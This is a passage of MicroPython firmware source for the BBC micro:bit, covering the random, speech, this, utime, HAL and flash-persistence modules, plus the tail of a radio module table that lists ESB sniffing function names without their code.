MP_OBJ_NEW_QSTR(MP_QSTR_config), (mp_obj_t)&mod_radio_config_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_on), (mp_obj_t)&mod_radio_on_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_off), (mp_obj_t)&mod_radio_off_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_send_bytes), (mp_obj_t)&mod_radio_send_bytes_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_receive_bytes), (mp_obj_t)&mod_radio_receive_bytes_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_send), (mp_obj_t)&mod_radio_send_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_receive), (mp_obj_t)&mod_radio_receive_obj }, /* ESB Sniffing. */ { MP_OBJ_NEW_QSTR(MP_QSTR_sniff_on), (mp_obj_t)&mod_radio_sniff_on_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_sniff), (mp_obj_t)&mod_radio_sniff_obj }, /* ultra-light ESB mode. */ { MP_OBJ_NEW_QSTR(MP_QSTR_esb), (mp_obj_t)&mod_radio_esb_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_sb), (mp_obj_t)&mod_radio_sb_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_cx), (mp_obj_t)&mod_radio_cx_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ble), (mp_obj_t)&mod_radio_ble_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_ping), (mp_obj_t)&mod_radio_ping_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_find), (mp_obj_t)&mod_radio_find_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_250KBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_250Kbit) }, { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_1MBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_1Mbit) }, { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_2MBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_2Mbit) }, }; STATIC MP_DEFINE_CONST_DICT(radio_module_globals, radio_module_globals_table); const mp_obj_module_t radio_module = { .base = { &mp_type_module }, //.name = MP_QSTR_radio, .globals = (mp_obj_dict_t*)&radio_module_globals, }; } ================================================ FILE: micropython/source/microbit/modrandom.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Paul Sokolovsky * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "MicroBitDevice.h" #define rand30() (microbit_random(0x40000000)) #define randbelow(n) (microbit_random(n)) extern "C" { #include #include #include #include "py/runtime.h" STATIC mp_obj_t mod_random_getrandbits(mp_obj_t num_in) { int n = mp_obj_get_int(num_in); if (n > 30 || n == 0) { mp_raise_ValueError(NULL); } uint32_t mask = ~0; // Beware of C undefined behavior when shifting by >= than bit size mask >>= (32 - n); return mp_obj_new_int_from_uint(rand30() & mask); } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_random_getrandbits_obj, mod_random_getrandbits); STATIC mp_obj_t mod_random_seed(size_t n_args, const mp_obj_t *args) { if (n_args == 0 || args[0] == mp_const_none) { microbit_seed_random(); } else { mp_uint_t seed = mp_obj_get_int_truncated(args[0]); microbit_seed_random(seed); } return mp_const_none; } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_random_seed_obj, 0, 1, mod_random_seed); STATIC mp_obj_t mod_random_randrange(size_t n_args, const mp_obj_t *args) { mp_int_t start = mp_obj_get_int(args[0]); if (n_args == 1) { // range(stop) if (start > 0) { return mp_obj_new_int(randbelow(start)); } else { mp_raise_ValueError(NULL); } } else { mp_int_t stop = mp_obj_get_int(args[1]); if (n_args == 2) { // range(start, stop) if (start < stop) { return mp_obj_new_int(start + randbelow(stop - start)); } else { mp_raise_ValueError(NULL); } } else { // range(start, stop, step) mp_int_t step = mp_obj_get_int(args[2]); mp_int_t n; if (step > 0) { n = (stop - start + step - 1) / step; } else if (step < 0) { n = (stop - start + step + 1) / step; } else { mp_raise_ValueError(NULL); } if (n > 0) { return mp_obj_new_int(start + step * randbelow(n)); } else { mp_raise_ValueError(NULL); } } } } STATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_random_randrange_obj, 1, 3, mod_random_randrange); STATIC mp_obj_t mod_random_randint(mp_obj_t a_in, mp_obj_t b_in) { mp_int_t a = mp_obj_get_int(a_in); mp_int_t b = mp_obj_get_int(b_in); if (a <= b) { return mp_obj_new_int(a + randbelow(b - a + 1)); } else { mp_raise_ValueError(NULL); } } STATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_random_randint_obj, mod_random_randint); STATIC mp_obj_t mod_random_choice(mp_obj_t seq) { mp_int_t len = mp_obj_get_int(mp_obj_len(seq)); if (len > 0) { return mp_obj_subscr(seq, mp_obj_new_int(randbelow(len)), MP_OBJ_SENTINEL); } else { mp_raise_msg(&mp_type_IndexError, NULL); } } STATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_random_choice_obj, mod_random_choice); #if MICROPY_PY_BUILTINS_FLOAT // returns a number in the range [0..1) using RNG to fill in the fraction bits STATIC mp_float_t randfloat(void) { #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE typedef uint64_t mp_float_int_t; #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT typedef uint32_t mp_float_int_t; #endif union { mp_float_t f; #if MP_ENDIANNESS_LITTLE struct { mp_float_int_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p; #else struct { mp_float_int_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p; #endif } u; u.p.sgn = 0; u.p.exp = (1 << (MP_FLOAT_EXP_BITS - 1)) - 1; if (MP_FLOAT_FRAC_BITS <= 30) { u.p.frc = rand30(); } else { u.p.frc = ((uint64_t)rand30() << 30) | (uint64_t)rand30(); } return u.f - 1; } STATIC mp_obj_t mod_random_random(void) { return mp_obj_new_float(randfloat()); } STATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_random_random_obj, mod_random_random); STATIC mp_obj_t mod_random_uniform(mp_obj_t a_in, mp_obj_t b_in) { mp_float_t a = mp_obj_get_float(a_in); mp_float_t b = mp_obj_get_float(b_in); return mp_obj_new_float(a + (b - a) * randfloat()); } STATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_random_uniform_obj, mod_random_uniform); #endif STATIC const mp_rom_map_elem_t mp_module_random_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_random) }, { MP_ROM_QSTR(MP_QSTR_getrandbits), MP_ROM_PTR(&mod_random_getrandbits_obj) }, { MP_ROM_QSTR(MP_QSTR_seed), MP_ROM_PTR(&mod_random_seed_obj) }, { MP_ROM_QSTR(MP_QSTR_randrange), MP_ROM_PTR(&mod_random_randrange_obj) }, { MP_ROM_QSTR(MP_QSTR_randint), MP_ROM_PTR(&mod_random_randint_obj) }, { MP_ROM_QSTR(MP_QSTR_choice), MP_ROM_PTR(&mod_random_choice_obj) }, { MP_ROM_QSTR(MP_QSTR_random), MP_ROM_PTR(&mod_random_random_obj) }, { MP_ROM_QSTR(MP_QSTR_uniform), MP_ROM_PTR(&mod_random_uniform_obj) }, }; STATIC MP_DEFINE_CONST_DICT(mp_module_random_globals, mp_module_random_globals_table); const mp_obj_module_t random_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&mp_module_random_globals, }; } ================================================ FILE: micropython/source/microbit/modspeech.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include "py/obj.h" #include "microbit/filesystem.h" #include "py/objtuple.h" #include "py/objstr.h" #include "microbit/modaudio.h" #include "lib/sam/render.h" #include "lib/sam/reciter.h" #include "lib/sam/sam.h" /** Called by SAM to output byte `b` at `pos` */ static microbit_audio_frame_obj_t *buf; static volatile unsigned int buf_start_pos = 0; static volatile unsigned int last_pos = 0; volatile bool rendering = false; volatile bool last_frame = false; volatile bool exhausted = false; static unsigned int glitches; void SamOutputByte(unsigned int pos, unsigned char b) { //printf("%d, %d, %d\r\n", pos, SCALE_RATE(pos), b); unsigned int actual_pos = SCALE_RATE(pos); if (buf_start_pos > actual_pos) { glitches++; buf_start_pos -= 32; } while ((actual_pos & (-32)) > buf_start_pos) { // We have filled buffer rendering = true; /* XXX - Busy wait */ } unsigned int offset = actual_pos & 31; // write a little bit in advance unsigned int end = min(offset+4, 32); while (offset < end) { buf->data[offset] = b; offset++; } last_pos = actual_pos; return; } typedef struct _speech_iterator_t { mp_obj_base_t base; microbit_audio_frame_obj_t *buf; microbit_audio_frame_obj_t *empty; } speech_iterator_t; /** This iterator assumes that the speech renderer can generate samples * at least as fast as we can consume them */ static mp_obj_t next(mp_obj_t iter) { if (exhausted) { return MP_OBJ_STOP_ITERATION; } if (last_frame) { exhausted = true; last_frame = false; } // May need to wait for reciter to do its job before renderer generate samples. if (rendering) { buf_start_pos += 32; return buf; } else { return ((speech_iterator_t *)iter)->empty; } } const mp_obj_type_t speech_iterator_type = { { &mp_type_type }, .name = MP_QSTR_iterator, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = mp_identity_getiter, .iternext = next, }; static mp_obj_t make_speech_iter(void) { speech_iterator_t *result = m_new_obj(speech_iterator_t); result->base.type = &speech_iterator_type; result->empty = new_microbit_audio_frame(); result->buf = new_microbit_audio_frame(); return result; } static mp_obj_t translate(mp_obj_t words) { mp_uint_t len, outlen; const char *txt = mp_obj_str_get_data(words, &len); // Reciter truncates *output* at about 120 characters. // So to avoid that we must disallow any input that will exceed that. if (len > 80) { mp_raise_ValueError("text too long"); } reciter_memory *mem = m_new(reciter_memory, 1); MP_STATE_PORT(speech_data) = mem; for (mp_uint_t i = 0; i < len; i++) { mem->input[i] = txt[i]; } mem->input[len] = '['; if (!TextToPhonemes(mem)) { MP_STATE_PORT(speech_data) = NULL; mp_raise_ValueError("could not parse input"); } for (outlen = 0; outlen < 255; outlen++) { if (mem->input[outlen] == 155) { break; } } mp_obj_t res = mp_obj_new_str_of_type(&mp_type_str, (byte *)mem->input, outlen); // Prevent input becoming invisible to GC due to tail-call optimisation. MP_STATE_PORT(speech_data) = NULL; return res; }MP_DEFINE_CONST_FUN_OBJ_1(translate_obj, translate); extern int debug; static mp_obj_t articulate(mp_obj_t phonemes, mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args, bool sing) { static const mp_arg_t allowed_args[] = { { MP_QSTR_pitch, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_PITCH} }, { MP_QSTR_speed, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_SPEED} }, { MP_QSTR_mouth, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_MOUTH} }, { MP_QSTR_throat, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_THROAT} }, { MP_QSTR_debug, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} }, }; // parse args mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)]; mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args); sam_memory *sam = m_new(sam_memory, 1); MP_STATE_PORT(speech_data) = sam; // set the current saved speech state sam->common.singmode = sing; sam->common.pitch = args[0].u_int; sam->common.speed = args[1].u_int; sam->common.mouth = args[2].u_int; sam->common.throat = args[3].u_int; debug = args[4].u_bool; mp_uint_t len; const char *input = mp_obj_str_get_data(phonemes, &len); buf_start_pos = 0; speech_iterator_t *src = make_speech_iter(); buf = src->buf; /* We need to wait for reciter to do its job */ rendering = false; exhausted = false; glitches = 0; audio_play_source(src, mp_const_none, mp_const_none, false); SetInput(sam, input, len); if (!SAMMain(sam)) { audio_stop(); MP_STATE_PORT(speech_data) = NULL; mp_raise_ValueError(sam_error); } last_frame = true; /* Wait for audio finish before returning */ while (microbit_audio_is_playing()); MP_STATE_PORT(speech_data) = NULL; if (debug) { printf("Glitches: %d\r\n", glitches); } return mp_const_none; } static mp_obj_t say(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { mp_obj_t phonemes = translate(pos_args[0]); return articulate(phonemes, n_args-1, pos_args+1, kw_args, false); } MP_DEFINE_CONST_FUN_OBJ_KW(say_obj, 1, say); static mp_obj_t pronounce(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { return articulate(pos_args[0], n_args-1, pos_args+1, kw_args, false); } MP_DEFINE_CONST_FUN_OBJ_KW(pronounce_obj, 1, pronounce); static mp_obj_t sing(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) { return articulate(pos_args[0], n_args-1, pos_args+1, kw_args, true); } MP_DEFINE_CONST_FUN_OBJ_KW(sing_obj, 1, sing); static const mp_map_elem_t _globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_speech) }, { MP_OBJ_NEW_QSTR(MP_QSTR_say), (mp_obj_t)&say_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_sing), (mp_obj_t)&sing_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_pronounce), (mp_obj_t)&pronounce_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_translate), (mp_obj_t)&translate_obj }, }; static MP_DEFINE_CONST_DICT(_globals, _globals_table); const mp_obj_module_t speech_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&_globals, }; ================================================ FILE: micropython/source/microbit/modthis.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include extern "C" { #include "py/obj.h" #include "microbit/modmicrobit.h" STATIC mp_obj_t this__init__(void) { STATIC const char *this_text = "The Zen of MicroPython, by Nicholas H. Tollervey\n" "\n" "Code,\n" "Hack it,\n" "Less is more,\n" "Keep it simple,\n" "Small is beautiful,\n" "\n" "Be brave! Break things! Learn and have fun!\n" "Express yourself with MicroPython.\n" "\n" "Happy hacking! :-)\n"; mp_printf(&mp_plat_print, "%s", this_text); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(this___init___obj, this__init__); STATIC mp_obj_t this_authors(void) { /* If you contribute code to this project, add your name here. */ STATIC const char *authors_text = "MicroPython on the micro:bit is brought to you by:\n" "Damien P. George, Mark Shannon, Radomir Dopieralski, Matthew Else,\n" "Carol Willing, Tom Viner, Alan Jackson, Nick Coghlan, Joseph Haig,\n" "Alex Chan, Andrea Grandi, Paul Egan, Piotr Kasprzyk, Andrew Mulholland,\n" "Matt Wheeler, Joe Glancy, Abbie Brooks and Nicholas H. Tollervey.\n"; mp_printf(&mp_plat_print, "%s", authors_text); return mp_const_none; } MP_DEFINE_CONST_FUN_OBJ_0(this_authors_obj, this_authors); STATIC const mp_map_elem_t this_module_globals_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_this) }, { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&this___init___obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_authors), (mp_obj_t)&this_authors_obj }, }; STATIC MP_DEFINE_CONST_DICT(this_module_globals, this_module_globals_table); const mp_obj_module_t this_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&this_module_globals, }; } ================================================ FILE: micropython/source/microbit/modutime.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2017 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "extmod/utime_mphal.h" STATIC const mp_rom_map_elem_t utime_module_globals_table[] = { { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_utime) }, { MP_ROM_QSTR(MP_QSTR_sleep), MP_ROM_PTR(&mp_utime_sleep_obj) }, { MP_ROM_QSTR(MP_QSTR_sleep_ms), MP_ROM_PTR(&mp_utime_sleep_ms_obj) }, { MP_ROM_QSTR(MP_QSTR_sleep_us), MP_ROM_PTR(&mp_utime_sleep_us_obj) }, { MP_ROM_QSTR(MP_QSTR_ticks_ms), MP_ROM_PTR(&mp_utime_ticks_ms_obj) }, { MP_ROM_QSTR(MP_QSTR_ticks_us), MP_ROM_PTR(&mp_utime_ticks_us_obj) }, { MP_ROM_QSTR(MP_QSTR_ticks_add), MP_ROM_PTR(&mp_utime_ticks_add_obj) }, { MP_ROM_QSTR(MP_QSTR_ticks_diff), MP_ROM_PTR(&mp_utime_ticks_diff_obj) }, }; STATIC MP_DEFINE_CONST_DICT(utime_module_globals, utime_module_globals_table); const mp_obj_module_t utime_module = { .base = { &mp_type_module }, .globals = (mp_obj_dict_t*)&utime_module_globals, }; ================================================ FILE: micropython/source/microbit/mphalport.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "us_ticker_api.h" #include "wait_api.h" #include "MicroBitSystemTimer.h" #include "MicroBitSerial.h" extern "C" { #include "py/runtime.h" #include "py/mphal.h" #include "lib/utils/interrupt_char.h" #include "microbit/modmicrobit.h" #define UART_RX_BUF_SIZE (64) // it's large so we can paste example code static uint8_t uart_rx_buf[UART_RX_BUF_SIZE]; static volatile uint16_t uart_rx_buf_head, uart_rx_buf_tail; MicroBitSerial ubit_serial(USBTX, USBRX); void uart_rx_irq(void) { if (!ubit_serial.readable()) { return; } int c = ubit_serial.getc(); if (c == mp_interrupt_char) { mp_keyboard_interrupt(); } else { uint16_t next_head = (uart_rx_buf_head + 1) % UART_RX_BUF_SIZE; if (next_head != uart_rx_buf_tail) { // only store data if room in buf uart_rx_buf[uart_rx_buf_head] = c; uart_rx_buf_head = next_head; } } } void mp_hal_init(void) { uart_rx_buf_head = 0; uart_rx_buf_tail = 0; ubit_serial.attach(uart_rx_irq); } int mp_hal_stdin_rx_any(void) { return uart_rx_buf_tail != uart_rx_buf_head; } int mp_hal_stdin_rx_chr(void) { while (uart_rx_buf_tail == uart_rx_buf_head) { __WFI(); } int c = uart_rx_buf[uart_rx_buf_tail]; uart_rx_buf_tail = (uart_rx_buf_tail + 1) % UART_RX_BUF_SIZE; return c; } void mp_hal_stdout_tx_str(const char *str) { mp_hal_stdout_tx_strn(str, strlen(str)); } void mp_hal_stdout_tx_strn(const char *str, size_t len) { for (; len > 0; --len) { ubit_serial.putc(*str++); } } void mp_hal_stdout_tx_strn_cooked(const char *str, size_t len) { for (; len > 0; --len) { if (*str == '\n') { ubit_serial.putc('\r'); } ubit_serial.putc(*str++); } } STATIC void mp_hal_print_many(const char chrs[8], unsigned int total) { while (total > 0) { unsigned int n = total; if (n > 8) { n = 8; } total -= n; mp_hal_stdout_tx_strn(chrs, n); } } void mp_hal_move_cursor_back(unsigned int pos) { mp_hal_print_many("\b\b\b\b\b\b\b\b", pos); } void mp_hal_erase_line_from_cursor(unsigned int n_chars) { mp_hal_print_many(" ", n_chars); mp_hal_move_cursor_back(n_chars); } void mp_hal_display_string(const char *str) { microbit_display_scroll(µbit_display_obj, str); } void mp_hal_delay_us(mp_uint_t us) { wait_us(us); } void mp_hal_delay_ms(mp_uint_t ms) { if (ms <= 0) { return; } // Wraparound of tick is taken care of by 2's complement arithmetic uint64_t start = system_timer_current_time(); while (system_timer_current_time() - start < (uint64_t)ms) { // Check for any pending events, like a KeyboardInterrupt mp_handle_pending(); // Enter sleep mode, waiting for (at least) the SysTick interrupt __WFI(); } } mp_uint_t mp_hal_ticks_us(void) { return us_ticker_read(); } mp_uint_t mp_hal_ticks_ms(void) { return system_timer_current_time(); } } ================================================ FILE: micropython/source/microbit/persistent.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Mark Shannon * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include "py/nlr.h" #include "py/obj.h" #include "py/gc.h" #include "microbit/filesystem.h" #include "lib/ticker.h" #define DEBUG_PERSISTENT 0 #if DEBUG_PERSISTENT #define DEBUG(s) printf s #else #define DEBUG(s) (void)0 #endif void persistent_write_byte_unchecked(const uint8_t *dest, const uint8_t val) { #if DEBUG_PERSISTENT if (((~(*dest)) & val) != 0) { DEBUG(("PERSISTENCE DEBUG: ERROR: Unchecked write of byte %u to %lx which contains %u\r\n", val, (uint32_t)dest, *dest)); mp_raise_msg(&mp_type_Exception, "Internal error: Attempting illegal write."); } #endif DEBUG(("PERSISTENCE DEBUG: Write unchecked byte %u to %lx, previous value %u\r\n", val, (uint32_t)dest, *dest)); // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour. ticker_stop(); nrf_nvmc_write_byte((uint32_t)dest, val); ticker_start(); } void persistent_write_unchecked(const void *dest, const void *src, uint32_t len) { DEBUG(("PERSISTENCE DEBUG: Write unchecked %lu bytes from %lx to %lx\r\n", len, (uint32_t)src, (uint32_t)dest)); int8_t *address = (int8_t *)dest; int8_t *data = (int8_t *)src; #if DEBUG_PERSISTENT for(uint32_t i = 0; i < len; i++) { if ((~address[i] & data[i]) != 0) { DEBUG(("PERSISTENCE DEBUG: ERROR: Unchecked write of byte %u to %lx which contains %u\r\n", data[i], (uint32_t)&address[i], address[i])); mp_raise_msg(&mp_type_Exception, "Internal error: Attempting illegal write."); } } #endif // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour. ticker_stop(); // Aligned word writes are over 4 times as fast per byte, so use those if we can. if ((((uint32_t)address) & 3) == 0 && (((uint32_t)data) & 3) == 0 && len >= 4) { nrf_nvmc_write_words((uint32_t)address, (const uint32_t *)data, len>>2); address += (len>>2)<<2; data += (len>>2)<<2; len &= 3; } if (len) { nrf_nvmc_write_bytes((uint32_t)address, (const uint8_t *)data, len); } while (NRF_NVMC->READY == NVMC_READY_READY_Busy); ticker_start(); } static inline bool can_write(const int8_t *dest, const int8_t *src, uint32_t len) { const int8_t *end = dest + len; while (dest < end) { if (((~(*dest)) & *src) != 0) { DEBUG(("PERSISTENCE DEBUG: %lu bytes from %lx need to be erased\r\n", len, (uint32_t)dest)); return false; } dest++; src++; } DEBUG(("PERSISTENCE DEBUG: %lu bytes from %lx do not need to be erased\r\n", len, (uint32_t)dest)); return true; } void persistent_erase_page(const void *page) { DEBUG(("PERSISTENCE DEBUG: Erasing page %lx\r\n", (uint32_t)page)); // Writing to flash will stop the CPU, so we stop the ticker to minimise odd behaviour. ticker_stop(); nrf_nvmc_page_erase((uint32_t)page); ticker_start(); } bool is_persistent_page_aligned(const void *ptr) { return (((uint32_t)ptr) & (persistent_page_size()-1)) == 0; } int persistent_write(const void *dst, const void *src, uint32_t len) { DEBUG(("PERSISTENCE DEBUG: Write persistent %lu bytes from %lx to %lx\r\n", len, (uint32_t)src, (uint32_t)dst)); const int8_t *dest = dst; const int8_t *addr = src; const int8_t *end_data = src+len; const uint32_t page_size = persistent_page_size(); int8_t *page = (void *)(((uint32_t)dest)&(-page_size)); int8_t *tmp_storage = NULL; while (addr < end_data) { int8_t *next_page = page + page_size; uint32_t data_in_page = min(end_data-addr, next_page-dest); if (can_write(dest, addr, data_in_page)) { persistent_write_unchecked(dest, addr, data_in_page); } else { if (tmp_storage == NULL) { tmp_storage = m_new(int8_t, page_size); if (tmp_storage == NULL) { return -1; } } memcpy(tmp_storage, page, page_size); memcpy(tmp_storage+(dest-page), addr, data_in_page); persistent_erase_page(page); persistent_write_unchecked(page, tmp_storage, page_size); } dest = page = next_page; addr += data_in_page; } if (tmp_storage) { gc_free(tmp_storage); } return 0; } int persistent_write_byte(const uint8_t *dest, const uint8_t val) { DEBUG(("PERSISTENCE DEBUG: Write persistent byte %u to %lx\r\n", val, 